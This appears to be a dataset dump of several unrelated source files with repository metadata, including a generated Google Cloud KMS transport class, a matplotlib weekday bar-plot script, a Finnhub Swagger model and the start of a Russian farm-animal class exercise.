self.local_data['probevalue'] = 450 + 512*self._pnf2(self.position_3d.x/3, self.position_3d.y/2)
# self.local_data['probevalue'] = self._pnf(self._step/1000)
self.local_data['distance'] = math.sqrt(pow(self.position_3d.x, 2) + pow(self.position_3d.y, 2) + pow(self.position_3d.z, 2))
self.local_data['x'] = self.position_3d.x
self.local_data['y'] = self.position_3d.y
self.local_data['z'] = self.position_3d.z
# our test sensor sees a random color
self.local_data['color'] = random.choice(["blue", "red", "green", "yellow"])
def reset_step(self):
self._step = 0;
|
[
"kasper.jordaens@gmail.com"
] |
kasper.jordaens@gmail.com
|
5d2d9c1ac8f26a527eaf2d08e5cdd9a656e0880c
|
6fa701cdaa0d83caa0d3cbffe39b40e54bf3d386
|
/google/cloud/kms/v1/kms-v1-py/google/cloud/kms_v1/services/key_management_service/transports/base.py
|
0da50e0196d2991964005d561c4193993d0eb0a7
|
[
"Apache-2.0"
] |
permissive
|
oltoco/googleapis-gen
|
bf40cfad61b4217aca07068bd4922a86e3bbd2d5
|
00ca50bdde80906d6f62314ef4f7630b8cdb6e15
|
refs/heads/master
| 2023-07-17T22:11:47.848185
| 2021-08-29T20:39:47
| 2021-08-29T20:39:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 26,784
|
py
|
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import abc
from typing import Awaitable, Callable, Dict, Optional, Sequence, Union
import packaging.version
import pkg_resources
import google.auth # type: ignore
import google.api_core # type: ignore
from google.api_core import exceptions as core_exceptions # type: ignore
from google.api_core import gapic_v1 # type: ignore
from google.api_core import retry as retries # type: ignore
from google.auth import credentials as ga_credentials # type: ignore
from google.oauth2 import service_account # type: ignore
from google.cloud.kms_v1.types import resources
from google.cloud.kms_v1.types import service
from google.iam.v1 import iam_policy_pb2 # type: ignore
from google.iam.v1 import policy_pb2 # type: ignore
try:
DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo(
gapic_version=pkg_resources.get_distribution(
'google-cloud-kms',
).version,
)
except pkg_resources.DistributionNotFound:
DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo()
try:
# google.auth.__version__ was added in 1.26.0
_GOOGLE_AUTH_VERSION = google.auth.__version__
except AttributeError:
try: # try pkg_resources if it is available
_GOOGLE_AUTH_VERSION = pkg_resources.get_distribution("google-auth").version
except pkg_resources.DistributionNotFound: # pragma: NO COVER
_GOOGLE_AUTH_VERSION = None
class KeyManagementServiceTransport(abc.ABC):
"""Abstract transport class for KeyManagementService."""
AUTH_SCOPES = (
'https://www.googleapis.com/auth/cloud-platform',
'https://www.googleapis.com/auth/cloudkms',
)
DEFAULT_HOST: str = 'cloudkms.googleapis.com'
def __init__(
self, *,
host: str = DEFAULT_HOST,
credentials: ga_credentials.Credentials = None,
credentials_file: Optional[str] = None,
scopes: Optional[Sequence[str]] = None,
quota_project_id: Optional[str] = None,
client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,
always_use_jwt_access: Optional[bool] = False,
**kwargs,
) -> None:
"""Instantiate the transport.
Args:
host (Optional[str]):
The hostname to connect to.
credentials (Optional[google.auth.credentials.Credentials]): The
authorization credentials to attach to requests. These
credentials identify the application to the service; if none
are specified, the client will attempt to ascertain the
credentials from the environment.
credentials_file (Optional[str]): A file with credentials that can
be loaded with :func:`google.auth.load_credentials_from_file`.
This argument is mutually exclusive with credentials.
scopes (Optional[Sequence[str]]): A list of scopes.
quota_project_id (Optional[str]): An optional project to use for billing
and quota.
client_info (google.api_core.gapic_v1.client_info.ClientInfo):
The client info used to send a user-agent string along with
API requests. If ``None``, then default info will be used.
Generally, you only need to set this if you're developing
your own client library.
always_use_jwt_access (Optional[bool]): Whether self signed JWT should
be used for service account credentials.
"""
# Save the hostname. Default to port 443 (HTTPS) if none is specified.
if ':' not in host:
host += ':443'
self._host = host
scopes_kwargs = self._get_scopes_kwargs(self._host, scopes)
# Save the scopes.
self._scopes = scopes
# If no credentials are provided, then determine the appropriate
# defaults.
if credentials and credentials_file:
raise core_exceptions.DuplicateCredentialArgs("'credentials_file' and 'credentials' are mutually exclusive")
if credentials_file is not None:
credentials, _ = google.auth.load_credentials_from_file(
credentials_file,
**scopes_kwargs,
quota_project_id=quota_project_id
)
elif credentials is None:
credentials, _ = google.auth.default(**scopes_kwargs, quota_project_id=quota_project_id)
# If the credentials is service account credentials, then always try to use self signed JWT.
if always_use_jwt_access and isinstance(credentials, service_account.Credentials) and hasattr(service_account.Credentials, "with_always_use_jwt_access"):
credentials = credentials.with_always_use_jwt_access(True)
# Save the credentials.
self._credentials = credentials
# TODO(busunkim): This method is in the base transport
# to avoid duplicating code across the transport classes. These functions
# should be deleted once the minimum required versions of google-auth is increased.
# TODO: Remove this function once google-auth >= 1.25.0 is required
@classmethod
def _get_scopes_kwargs(cls, host: str, scopes: Optional[Sequence[str]]) -> Dict[str, Optional[Sequence[str]]]:
"""Returns scopes kwargs to pass to google-auth methods depending on the google-auth version"""
scopes_kwargs = {}
if _GOOGLE_AUTH_VERSION and (
packaging.version.parse(_GOOGLE_AUTH_VERSION)
>= packaging.version.parse("1.25.0")
):
scopes_kwargs = {"scopes": scopes, "default_scopes": cls.AUTH_SCOPES}
else:
scopes_kwargs = {"scopes": scopes or cls.AUTH_SCOPES}
return scopes_kwargs
def _prep_wrapped_messages(self, client_info):
# Precompute the wrapped methods.
self._wrapped_methods = {
self.list_key_rings: gapic_v1.method.wrap_method(
self.list_key_rings,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.list_crypto_keys: gapic_v1.method.wrap_method(
self.list_crypto_keys,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.list_crypto_key_versions: gapic_v1.method.wrap_method(
self.list_crypto_key_versions,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.list_import_jobs: gapic_v1.method.wrap_method(
self.list_import_jobs,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.get_key_ring: gapic_v1.method.wrap_method(
self.get_key_ring,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.get_crypto_key: gapic_v1.method.wrap_method(
self.get_crypto_key,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.get_crypto_key_version: gapic_v1.method.wrap_method(
self.get_crypto_key_version,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.get_public_key: gapic_v1.method.wrap_method(
self.get_public_key,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.get_import_job: gapic_v1.method.wrap_method(
self.get_import_job,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.create_key_ring: gapic_v1.method.wrap_method(
self.create_key_ring,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.create_crypto_key: gapic_v1.method.wrap_method(
self.create_crypto_key,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.create_crypto_key_version: gapic_v1.method.wrap_method(
self.create_crypto_key_version,
default_timeout=60.0,
client_info=client_info,
),
self.import_crypto_key_version: gapic_v1.method.wrap_method(
self.import_crypto_key_version,
default_timeout=60.0,
client_info=client_info,
),
self.create_import_job: gapic_v1.method.wrap_method(
self.create_import_job,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.update_crypto_key: gapic_v1.method.wrap_method(
self.update_crypto_key,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.update_crypto_key_version: gapic_v1.method.wrap_method(
self.update_crypto_key_version,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.update_crypto_key_primary_version: gapic_v1.method.wrap_method(
self.update_crypto_key_primary_version,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.destroy_crypto_key_version: gapic_v1.method.wrap_method(
self.destroy_crypto_key_version,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.restore_crypto_key_version: gapic_v1.method.wrap_method(
self.restore_crypto_key_version,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.encrypt: gapic_v1.method.wrap_method(
self.encrypt,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.decrypt: gapic_v1.method.wrap_method(
self.decrypt,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.asymmetric_sign: gapic_v1.method.wrap_method(
self.asymmetric_sign,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.asymmetric_decrypt: gapic_v1.method.wrap_method(
self.asymmetric_decrypt,
default_retry=retries.Retry(
initial=0.1,maximum=60.0,multiplier=1.3, predicate=retries.if_exception_type(
core_exceptions.DeadlineExceeded,
core_exceptions.ServiceUnavailable,
),
deadline=60.0,
),
default_timeout=60.0,
client_info=client_info,
),
self.mac_sign: gapic_v1.method.wrap_method(
self.mac_sign,
default_timeout=None,
client_info=client_info,
),
self.mac_verify: gapic_v1.method.wrap_method(
self.mac_verify,
default_timeout=None,
client_info=client_info,
),
self.generate_random_bytes: gapic_v1.method.wrap_method(
self.generate_random_bytes,
default_timeout=None,
client_info=client_info,
),
}
@property
def list_key_rings(self) -> Callable[
[service.ListKeyRingsRequest],
Union[
service.ListKeyRingsResponse,
Awaitable[service.ListKeyRingsResponse]
]]:
raise NotImplementedError()
@property
def list_crypto_keys(self) -> Callable[
[service.ListCryptoKeysRequest],
Union[
service.ListCryptoKeysResponse,
Awaitable[service.ListCryptoKeysResponse]
]]:
raise NotImplementedError()
@property
def list_crypto_key_versions(self) -> Callable[
[service.ListCryptoKeyVersionsRequest],
Union[
service.ListCryptoKeyVersionsResponse,
Awaitable[service.ListCryptoKeyVersionsResponse]
]]:
raise NotImplementedError()
@property
def list_import_jobs(self) -> Callable[
[service.ListImportJobsRequest],
Union[
service.ListImportJobsResponse,
Awaitable[service.ListImportJobsResponse]
]]:
raise NotImplementedError()
@property
def get_key_ring(self) -> Callable[
[service.GetKeyRingRequest],
Union[
resources.KeyRing,
Awaitable[resources.KeyRing]
]]:
raise NotImplementedError()
@property
def get_crypto_key(self) -> Callable[
[service.GetCryptoKeyRequest],
Union[
resources.CryptoKey,
Awaitable[resources.CryptoKey]
]]:
raise NotImplementedError()
@property
def get_crypto_key_version(self) -> Callable[
[service.GetCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def get_public_key(self) -> Callable[
[service.GetPublicKeyRequest],
Union[
resources.PublicKey,
Awaitable[resources.PublicKey]
]]:
raise NotImplementedError()
@property
def get_import_job(self) -> Callable[
[service.GetImportJobRequest],
Union[
resources.ImportJob,
Awaitable[resources.ImportJob]
]]:
raise NotImplementedError()
@property
def create_key_ring(self) -> Callable[
[service.CreateKeyRingRequest],
Union[
resources.KeyRing,
Awaitable[resources.KeyRing]
]]:
raise NotImplementedError()
@property
def create_crypto_key(self) -> Callable[
[service.CreateCryptoKeyRequest],
Union[
resources.CryptoKey,
Awaitable[resources.CryptoKey]
]]:
raise NotImplementedError()
@property
def create_crypto_key_version(self) -> Callable[
[service.CreateCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def import_crypto_key_version(self) -> Callable[
[service.ImportCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def create_import_job(self) -> Callable[
[service.CreateImportJobRequest],
Union[
resources.ImportJob,
Awaitable[resources.ImportJob]
]]:
raise NotImplementedError()
@property
def update_crypto_key(self) -> Callable[
[service.UpdateCryptoKeyRequest],
Union[
resources.CryptoKey,
Awaitable[resources.CryptoKey]
]]:
raise NotImplementedError()
@property
def update_crypto_key_version(self) -> Callable[
[service.UpdateCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def update_crypto_key_primary_version(self) -> Callable[
[service.UpdateCryptoKeyPrimaryVersionRequest],
Union[
resources.CryptoKey,
Awaitable[resources.CryptoKey]
]]:
raise NotImplementedError()
@property
def destroy_crypto_key_version(self) -> Callable[
[service.DestroyCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def restore_crypto_key_version(self) -> Callable[
[service.RestoreCryptoKeyVersionRequest],
Union[
resources.CryptoKeyVersion,
Awaitable[resources.CryptoKeyVersion]
]]:
raise NotImplementedError()
@property
def encrypt(self) -> Callable[
[service.EncryptRequest],
Union[
service.EncryptResponse,
Awaitable[service.EncryptResponse]
]]:
raise NotImplementedError()
@property
def decrypt(self) -> Callable[
[service.DecryptRequest],
Union[
service.DecryptResponse,
Awaitable[service.DecryptResponse]
]]:
raise NotImplementedError()
@property
def asymmetric_sign(self) -> Callable[
[service.AsymmetricSignRequest],
Union[
service.AsymmetricSignResponse,
Awaitable[service.AsymmetricSignResponse]
]]:
raise NotImplementedError()
@property
def asymmetric_decrypt(self) -> Callable[
[service.AsymmetricDecryptRequest],
Union[
service.AsymmetricDecryptResponse,
Awaitable[service.AsymmetricDecryptResponse]
]]:
raise NotImplementedError()
@property
def mac_sign(self) -> Callable[
[service.MacSignRequest],
Union[
service.MacSignResponse,
Awaitable[service.MacSignResponse]
]]:
raise NotImplementedError()
@property
def mac_verify(self) -> Callable[
[service.MacVerifyRequest],
Union[
service.MacVerifyResponse,
Awaitable[service.MacVerifyResponse]
]]:
raise NotImplementedError()
@property
def generate_random_bytes(self) -> Callable[
[service.GenerateRandomBytesRequest],
Union[
service.GenerateRandomBytesResponse,
Awaitable[service.GenerateRandomBytesResponse]
]]:
raise NotImplementedError()
@property
def set_iam_policy(
self,
) -> Callable[
[iam_policy_pb2.SetIamPolicyRequest],
Union[policy_pb2.Policy, Awaitable[policy_pb2.Policy]],
]:
raise NotImplementedError()
@property
def get_iam_policy(
self,
) -> Callable[
[iam_policy_pb2.GetIamPolicyRequest],
Union[policy_pb2.Policy, Awaitable[policy_pb2.Policy]],
]:
raise NotImplementedError()
@property
def test_iam_permissions(
self,
) -> Callable[
[iam_policy_pb2.TestIamPermissionsRequest],
Union[
iam_policy_pb2.TestIamPermissionsResponse,
Awaitable[iam_policy_pb2.TestIamPermissionsResponse],
],
]:
raise NotImplementedError()
__all__ = (
'KeyManagementServiceTransport',
)
|
[
"bazel-bot-development[bot]@users.noreply.github.com"
] |
bazel-bot-development[bot]@users.noreply.github.com
|
3a30135d3a76ea4be773fdf0dbce6c8d4ce4fcf1
|
ce4c24564022d8f3bd9d224e99a66bb43eb2d870
|
/R0004_Exams_By_Weekday_BarPlot_Report/ExamsByWeekday.py
|
2ab7e09d499ffdf5ada9914ac1b8df1eda682c40
|
[] |
no_license
|
Harshit1503/Test-Center-Data-Analysis
|
a676e7de484977ac975cc2a5792c8f461a63cbdc
|
b94a43b4a01fa9c5e3f8166cf4957f7aea6e6a9a
|
refs/heads/master
| 2022-11-28T08:15:55.802896
| 2021-03-29T16:14:32
| 2021-03-29T16:14:32
| 205,307,314
| 0
| 0
| null | 2022-11-22T07:39:01
| 2019-08-30T04:56:45
|
Python
|
UTF-8
|
Python
| false
| false
| 3,310
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Thu Aug 1 01:37:07 2019
@author: Harshit
"""
import os
import numpy as np
import matplotlib.pyplot as plt
from PIL import Image, ImageDraw, ImageFont
from datetime import date
def exams_by_weekday_bar_plot(weekDay_CNT_Tuple, yearVal):
# set width of bar
barWidth = 0.25
# yearVal = 2016
plt.rc('figure', figsize=(24, 15))
font = {'weight' : 'bold',
'size' : 22}
plt.rc('font', **font)
# set height of bar
aah = [weekDay_CNT_Tuple[0][1], weekDay_CNT_Tuple[0][2], weekDay_CNT_Tuple[0][3], weekDay_CNT_Tuple[0][4], weekDay_CNT_Tuple[0][5], weekDay_CNT_Tuple[0][6], weekDay_CNT_Tuple[0][7]]
cbb = [weekDay_CNT_Tuple[1][1], weekDay_CNT_Tuple[1][2], weekDay_CNT_Tuple[1][3], weekDay_CNT_Tuple[1][4], weekDay_CNT_Tuple[1][5], weekDay_CNT_Tuple[1][6], weekDay_CNT_Tuple[1][7]]
gar = [weekDay_CNT_Tuple[2][1], weekDay_CNT_Tuple[2][2], weekDay_CNT_Tuple[2][3], weekDay_CNT_Tuple[2][4], weekDay_CNT_Tuple[2][5], weekDay_CNT_Tuple[2][6], weekDay_CNT_Tuple[2][7]]
# Set position of bar on X axis
r1 = np.arange(len(aah))
r2 = [x + barWidth for x in r1]
r3 = [x + barWidth for x in r2]
# Make the plot
plt.bar(r1, aah, color='steelblue', width=barWidth, edgecolor='white', label='AAH')
plt.bar(r2, cbb, color='darkorange', width=barWidth, edgecolor='white', label='CBB')
plt.bar(r3, gar, color='c', width=barWidth, edgecolor='white', label='GAR')
# Add xticks on the middle of the group bars
plt.xlabel('Weekday', fontsize = 25, fontweight='bold')
plt.ylabel('Number of Students', fontsize = 25, weight = "bold")
if yearVal not in ['all', 'All', 'ALL']:
plt.title("Exams By Weekday: "+str(yearVal)+"\n", fontsize = 30, weight="bold")
else:
plt.title('Exams By Weekday'+"\n", fontsize = 30, weight = "bold")
plt.xticks([r + barWidth for r in range(len(aah))], ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'])
# Create legend & Show graphic
plt.legend(['AAH', 'CBB', 'GAR'])
#Save the Pie Chart image to respective report directory
#Absolute path of report directory
abs_path = os.path.abspath(os.path.dirname(__file__))
rel_path = "output"
path = os.path.join(abs_path, rel_path)
if not os.path.exists(path):
print("Image Folder Created!")
os.makedirs(path)
if yearVal not in ['all', 'All', 'ALL']:
file_name = 'Exams_By_Weekday_BarPlot_' + str(yearVal) +'.png'
else:
file_name = 'Exams_By_Weekday_BarPlot_all.png'
my_dpi = 72
plt.savefig(os.path.join(path, file_name), dpi = my_dpi)
plt.show()
image_path_input = path
image_path_output = path
fnt = ImageFont.truetype("arial.ttf", 25)
image_name_input = '\\' + file_name
today = date.today()
im = Image.open(image_path_input + image_name_input)
position = (1570, 1030)
message = today.strftime("%m/%d/%Y")
# initialise the drawing context with the image object as background
draw = ImageDraw.Draw(im)
draw.text(position, message, font = fnt, fill = "black")
im.show()
image_name_output = '\\' + file_name
im.save(image_path_output + image_name_output)
|
[
"harshit.singh1503@gmail.com"
] |
harshit.singh1503@gmail.com
|
5db755421c2575707e428ae378775b1cf3462cdc
|
672f2f55cc81388ce6322350ad1fbd96d4c639dd
|
/brain_games/scripts/brain_gsd.py
|
76a1286c3aa0574f56a3cced02233f01314a042f
|
[] |
no_license
|
Nikolaevaanneta/python-project-lvl1
|
26018cf3681fc2f44991d6c781901d4c5a081f56
|
9913b2e092e6c3a414a3cf9d72fb39be03d25254
|
refs/heads/main
| 2023-07-14T19:50:42.219635
| 2021-08-26T10:41:00
| 2021-08-26T10:41:00
| 397,596,100
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 144
|
py
|
from brain_games.body import run_game
from brain_games.games import gsd
def main():
run_game(gsd)
if __name__ == '__main__':
main()
|
[
"nikolaevaanneta@gmail.com"
] |
nikolaevaanneta@gmail.com
|
3a9bf2b914edde4e5c397c7319864fbf32311712
|
117f066c80f3863ebef74463292bca6444f9758a
|
/finnhub_swagger_api/finnhub_swagger_api/models/revenue_estimates_info.py
|
02eb5c15a1e32e1b17eb727157f4a1affeec2537
|
[] |
no_license
|
cottrell/notebooks
|
c6de3842cbaeb71457d270cbe6fabc8695a6ee1b
|
9eaf3d0500067fccb294d064ab78d7aaa03e8b4d
|
refs/heads/master
| 2023-08-09T22:41:01.996938
| 2023-08-04T22:41:51
| 2023-08-04T22:41:51
| 26,830,272
| 3
| 1
| null | 2023-03-04T03:58:03
| 2014-11-18T21:14:23
|
Python
|
UTF-8
|
Python
| false
| false
| 7,028
|
py
|
# coding: utf-8
"""
Finnhub API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from finnhub_swagger_api.configuration import Configuration
class RevenueEstimatesInfo(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'revenue_avg': 'float',
'revenue_high': 'float',
'revenue_low': 'float',
'number_analysts': 'int',
'period': 'date'
}
attribute_map = {
'revenue_avg': 'revenueAvg',
'revenue_high': 'revenueHigh',
'revenue_low': 'revenueLow',
'number_analysts': 'numberAnalysts',
'period': 'period'
}
def __init__(self, revenue_avg=None, revenue_high=None, revenue_low=None, number_analysts=None, period=None, _configuration=None): # noqa: E501
"""RevenueEstimatesInfo - a model defined in Swagger""" # noqa: E501
if _configuration is None:
_configuration = Configuration()
self._configuration = _configuration
self._revenue_avg = None
self._revenue_high = None
self._revenue_low = None
self._number_analysts = None
self._period = None
self.discriminator = None
if revenue_avg is not None:
self.revenue_avg = revenue_avg
if revenue_high is not None:
self.revenue_high = revenue_high
if revenue_low is not None:
self.revenue_low = revenue_low
if number_analysts is not None:
self.number_analysts = number_analysts
if period is not None:
self.period = period
@property
def revenue_avg(self):
"""Gets the revenue_avg of this RevenueEstimatesInfo. # noqa: E501
Average revenue estimates including Finnhub's proprietary estimates. # noqa: E501
:return: The revenue_avg of this RevenueEstimatesInfo. # noqa: E501
:rtype: float
"""
return self._revenue_avg
@revenue_avg.setter
def revenue_avg(self, revenue_avg):
"""Sets the revenue_avg of this RevenueEstimatesInfo.
Average revenue estimates including Finnhub's proprietary estimates. # noqa: E501
:param revenue_avg: The revenue_avg of this RevenueEstimatesInfo. # noqa: E501
:type: float
"""
self._revenue_avg = revenue_avg
@property
def revenue_high(self):
"""Gets the revenue_high of this RevenueEstimatesInfo. # noqa: E501
Highest estimate. # noqa: E501
:return: The revenue_high of this RevenueEstimatesInfo. # noqa: E501
:rtype: float
"""
return self._revenue_high
@revenue_high.setter
def revenue_high(self, revenue_high):
"""Sets the revenue_high of this RevenueEstimatesInfo.
Highest estimate. # noqa: E501
:param revenue_high: The revenue_high of this RevenueEstimatesInfo. # noqa: E501
:type: float
"""
self._revenue_high = revenue_high
@property
def revenue_low(self):
"""Gets the revenue_low of this RevenueEstimatesInfo. # noqa: E501
Lowest estimate. # noqa: E501
:return: The revenue_low of this RevenueEstimatesInfo. # noqa: E501
:rtype: float
"""
return self._revenue_low
@revenue_low.setter
def revenue_low(self, revenue_low):
"""Sets the revenue_low of this RevenueEstimatesInfo.
Lowest estimate. # noqa: E501
:param revenue_low: The revenue_low of this RevenueEstimatesInfo. # noqa: E501
:type: float
"""
self._revenue_low = revenue_low
@property
def number_analysts(self):
"""Gets the number_analysts of this RevenueEstimatesInfo. # noqa: E501
Number of Analysts. # noqa: E501
:return: The number_analysts of this RevenueEstimatesInfo. # noqa: E501
:rtype: int
"""
return self._number_analysts
@number_analysts.setter
def number_analysts(self, number_analysts):
"""Sets the number_analysts of this RevenueEstimatesInfo.
Number of Analysts. # noqa: E501
:param number_analysts: The number_analysts of this RevenueEstimatesInfo. # noqa: E501
:type: int
"""
self._number_analysts = number_analysts
@property
def period(self):
"""Gets the period of this RevenueEstimatesInfo. # noqa: E501
Period. # noqa: E501
:return: The period of this RevenueEstimatesInfo. # noqa: E501
:rtype: date
"""
return self._period
@period.setter
def period(self, period):
"""Sets the period of this RevenueEstimatesInfo.
Period. # noqa: E501
:param period: The period of this RevenueEstimatesInfo. # noqa: E501
:type: date
"""
self._period = period
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(RevenueEstimatesInfo, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, RevenueEstimatesInfo):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, RevenueEstimatesInfo):
return True
return self.to_dict() != other.to_dict()
|
[
"cottrell@users.noreply.github.com"
] |
cottrell@users.noreply.github.com
|
0cdc66bc726905c1a108a246b3d9afde367a20d3
|
7a16c85f09c2232a3fab5933c8ad2740edecace3
|
/python_local_courses/dz-9/nine.py
|
ab06ac9c9610927989f8c00769ea47ef6e2b184c
|
[] |
no_license
|
romanovna/baseline
|
42adf5ae1eeb27c34b4684f07ad4c57882e4033a
|
c0bbef293c9e7f434d130aca89b8741f36e888df
|
refs/heads/master
| 2021-07-14T09:20:19.924159
| 2021-03-10T13:22:36
| 2021-03-10T13:22:36
| 44,129,919
| 0
| 0
| null | 2021-02-26T14:23:30
| 2015-10-12T19:40:10
|
Python
|
UTF-8
|
Python
| false
| false
| 6,207
|
py
|
__author__ = 'roman.deles'
# coding: utf-8
""" Жизнь на ферме
- Курица
- Корова
- Собака
1. У этих классов есть следующие функциональности:
- бежать
- голос
- продукт ( яйцо, молоко) все эти классы унаследованы от базового "животное"
2. Также нужен класс ферма
Программа инициализирует ферму с заданным числом каждого животного.
